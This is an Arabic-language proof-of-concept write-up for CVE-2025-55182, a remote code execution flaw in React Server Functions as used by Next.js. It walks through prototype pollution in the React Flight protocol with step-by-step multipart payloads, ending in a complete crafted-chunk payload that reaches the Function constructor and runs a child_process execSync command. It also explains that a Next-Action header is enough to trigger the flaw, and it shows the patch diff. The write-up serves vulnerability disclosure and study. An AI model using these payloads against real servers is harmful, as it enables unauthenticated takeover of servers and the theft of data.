
إثبات مفهوم لاستغلال CVE-2025-55182، يحقق تنفيذًا عن بُعد للكود في دوال خادم React عبر تلويث النموذج الأولي وقطع بروتوكول Flight مُصممة خصيصًا.
المؤلف الأصلي: https://github.com/msanft/CVE-2025-55182
تسمح هذه الثغرة بتنفيذ تعليمات برمجية عن بُعد (RCE) في React Server Functions، على سبيل المثال كما تقدمها Next.js عبر مراجع غير آمنة للنموذج الأولي (prototype).
لست خبيرًا في React أو Next.js، لذا خذ كل المعلومات الواردة هنا بقليل من التحفّظ.
توفّر React Server Functions[^1]، والتي يمكن النظر إليها كنوع من RPC عبر HTTP. يمكن استخدامها لجلب البيانات من الأقران المجاورين لضمان زمن انتقال منخفض، أو تنفيذ طلبات موثّقة لا يملك العميل بيانات اعتماد لها.
تستخدم React ما يُسمى بروتوكول React Flight[^2] لتسلسل القيم المُمرَّرة إلى Server Functions.
يمرر العميل أجزاءً (chunks) إلى الخادم، على سبيل المثال عبر بيانات النموذج:
files = {
"0": (None, '["$1"]'),
"1": (None, '{"object":"fruit","name":"$2:fruitName"}'),
"2": (None, '{"fruitName":"cherry"}'),
}
كما هو موضح، يمكن أن تحتوي هذه الأجزاء على مراجع فيما بينها. تتحوّل الحمولة أعلاه إلى ما يلي على الخادم بعد إلغاء تسلسلها:
{ object: 'fruit', name: 'cherry' }
التنسيق نفسه أكثر تعقيدًا بعض الشيء ويسمح بتسلسل وإلغاء تسلسل أكثر تعقيدًا، لكن هذا يعطي فهمًا أساسيًا للثغرة الفعلية.
حتى هذا الـ commit[^3]، عندما كان React يتنقل بين الأجزاء أثناء حل المراجع،
مثل الحصول على fruitName من الجزء 2 في المثال أعلاه، لم يتحقق مما إذا كان
المفتاح المطلوب معينًا فعليًا على الكائن. هذا سمح لنا بالوصول إلى النموذج الأولي للكائن[^4].
يمكن توضيح ذلك بحمولة مثل هذه:
files = {
"0": (None, '["$1:__proto__:constructor:constructor"]'),
"1": (None, '{"x":1}'),
}
والتي تُفكّ تسلسلها إلى مُنشئ الدالة[^5]:
[Function: Function]
عندما يكون الجزء ذو المعرّف 0 ليس مصفوفة بل كائنًا، يمكننا تعيين المفتاح then
إلى مُنشئ الدالة. يتم بعد ذلك إرجاع الكائن بواسطة الدالة decodeReplyFromBusboy،
ويقوم Next.js بانتظاره (await):
// action-handler.ts:888 (pre-patch)
boundActionArguments = await decodeReplyFromBusboy(
busboy,
serverModuleMap,
{ temporaryReferences }
)
عندما يُرجع هذا كائنًا thenable، فإن await في المُستدعي سيستدعيه.
وهذا ما يحدث مع هذه الحمولة:
files = {
"0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
"1": (None, '{"x":1}'),
}
مما يؤدي إلى هذا الخطأ:
SyntaxError: Unexpected token 'function'
at Object.Function [as then] (<anonymous>) {
digest: '1259793845'
}
يبدو الخطأ هكذا لأن V8 يستدعي دالة تم انتظارها عبر await مع الدالتين الداخليتين
resolve و reject، واللتين عند تحويلهما عبر toString تتسلسلان إلى شيء مثل هذا:
function () { [native code] }
بما أننا نستطيع بسهولة الحصول على مُنشئ الدالة Function، فإن الطريقة المباشرة
هي إيجاد أداة استدعاء (call gadget) تستدعي المُنشئ بقيمة يتحكم فيها المستخدم
(أي كود الدالة كنص)، ثم تستدعي الدالة المُرجَعة لاحقًا.
هناك عدة أماكن يمكنها استدعاء مُنشئ الدالة، على سبيل المثال resolveServerReference،
حيث يكون id كائنًا مُتحكمًا فيه، ويمكن استبدال lastIndexOf لإرجاع سلسلة يتحكم
فيها المستخدم (عبر Array.prototype.join مثلًا)، كما يمكن استبدال slice بمُنشئ الدالة.
لكن هذا المكان لا يعمل لأن الاستدعاء الثاني لـ .slice() يمرر رقمًا كوسيط أول،
والذي -على حد علمي- لا يمكن لمُنشئ الدالة التعامل معه أبدًا.
هنا تأتي فكرة رائعة من maple3142[^6]. عندما يلتقط getChunk الجزء ذا المعرّف 0
باعتباره المرجع الجذري لبدء حل سلسلة المراجع، فإن هذا الجزء نفسه تمامًا
يمكن أن يُحل إلى "جزء مزيف" مصنوع بعناية.
يمكننا الإشارة إلى الجزء 0 المصنوع داخل الجزء 1 باستخدام صيغة $@،
التي تُرجع الجزء "الخام"، وليس قيمته المُحلولة:
case "@":
return (
(obj = parseInt(value.slice(2), 16)), getChunk(response, obj)
);
وبدمج هذا مع استبدال then الذي قمنا به أعلاه، يمكننا صنع شيء مثل هذا:
files = {
"0": (None, '{"then": "$1:__proto__:then"}'),
"1": (None, '"$@0"'),
}
هنا، يستبدل الجزء 0 .then() الخاص به بـ .then() الخاص بتمثيله الخام.
ببساطة، نستبدل .then() الخاص بنا بـ Chunk.prototype.then، وهو موجود،
لأن الكائنات Chunk هي كائنات thenable:
Chunk.prototype.then = function (resolve, reject) {
switch (this.status) {
case "resolved_model":
initializeModelChunk(this);
}
// ...
مع الحمولة أعلاه، يتم في النهاية استدعاء Chunk.prototype.then مع الجزء المصنوع ذي المعرّف 0.
كما هو موضح أعلاه، عندما يكون .status على الجزء المزيف هو resolved_model:
files = {
"0": (None, '{"then": "$1:__proto__:then", "status": "resolved_model"}'),
"1": (None, '"$@0"'),
}
نصل إلى initializeModelChunk. هنا، يتم تحليل .value كـ JSON، ثم تُحل المراجع
على الكائن المُرجَع، باستخدام السياق "الخارجي" للأجزاء ذات المعرّفين 0 و1:
function initializeModelChunk(chunk) {
// ...
var rawModel = JSON.parse(resolvedModel),
value = reviveModel(chunk._response, { "": rawModel }, "", rawModel, rootReference);
// ...
في هذا السياق، نحصل الآن على جولة تقييم ثانية مع عدد أكبر قليلًا من القيم التي يمكننا الوصول إليها نظرًا لأن السياق الخارجي قد تم حله بالفعل.
توجد أداة استدعاء (call gadget) في معالجة بيانات blob ذات البادئة $B
في بروتوكول Flight:
case "B":
return (
(obj = parseInt(value.slice(2), 16)),
response._formData.get(response._prefix + obj)
);
باستخدام الحقل الخاص _response، نتحكم في خاصية response الخاصة بالجزء المصنوع:
// in initializeModelChunk
value = reviveModel(chunk._response, // ...
وبهذا، يمكننا صنع كائن بخصائص مزيفة ._formData و ._prefix:
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"return foo; // ",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
يجب إضافة .reason لتجنب الفشل عند استدعاء toString في `initializeModelChunk:
var rootReference = -1 === chunk.reason ? void 0 : chunk.reason.toString(16), resolvedModel = chunk.value;
من خلال توجيه ._formData إلى مُنشئ الدالة، و._prefix إلى الكود الخاص بنا،
نحصل على أداة استدعاء لمُنشئ الدالة في إلغاء تسلسل blob:
response._formData.get(response._prefix + "0")
// becomes
Function("return foo; // 0")
يتم بعد ذلك إرجاع الدالة المصنوعة بواسطة parseModelString كطريقة .then()
الخاصة بالجزء المصنوع، والتي يتم انتظارها أيضًا، لأن كل هذا يحدث في سلسلة حل promise
واحدة. وبالتالي، باعتبارها تُرجع كائنًا thenable، يتم استدعاء الدالة المصنوعة الخاصة بنا.
وهذا يشكّل أداة الاستدعاء المطلوبة المشار إليها أعلاه.
وعند تجميع كل هذا مع حمولة RCE فعلية، نحصل على شيء مثل هذا:
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"process.mainModule.require('child_process').execSync('calc');",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
files = {
"0": (None, json.dumps(crafted_chunk)),
"1": (None, '"$@0"'),
}
الميزة الإضافية، التي تجعل هذه الثغرة أسوأ، هي أن كل هذا يحدث أثناء إلغاء التسلسل،
قبل التحقق من الإجراء المطلوب لأول مرة في getActionModIdOrError. وبالتالي، فإن
تعيين ترويسة مثل Next-Action: foo كافٍ لتفعيل الثغرة.
تم إصلاح استخدام مراجع الأجزاء للوصول إلى خصائص النموذج الأولي من خلال هذا الفحص:
@@ -78,7 +80,10 @@ export function preloadModule<T>(
export function requireModule<T>(metadata: ClientReference<T>): T {
const moduleExports = parcelRequire(metadata[ID]);
- return moduleExports[metadata[NAME]];
+ if (hasOwnProperty.call(moduleExports, metadata[NAME])) {
+ return moduleExports[metadata[NAME]];
+ }
+ return (undefined: any);
}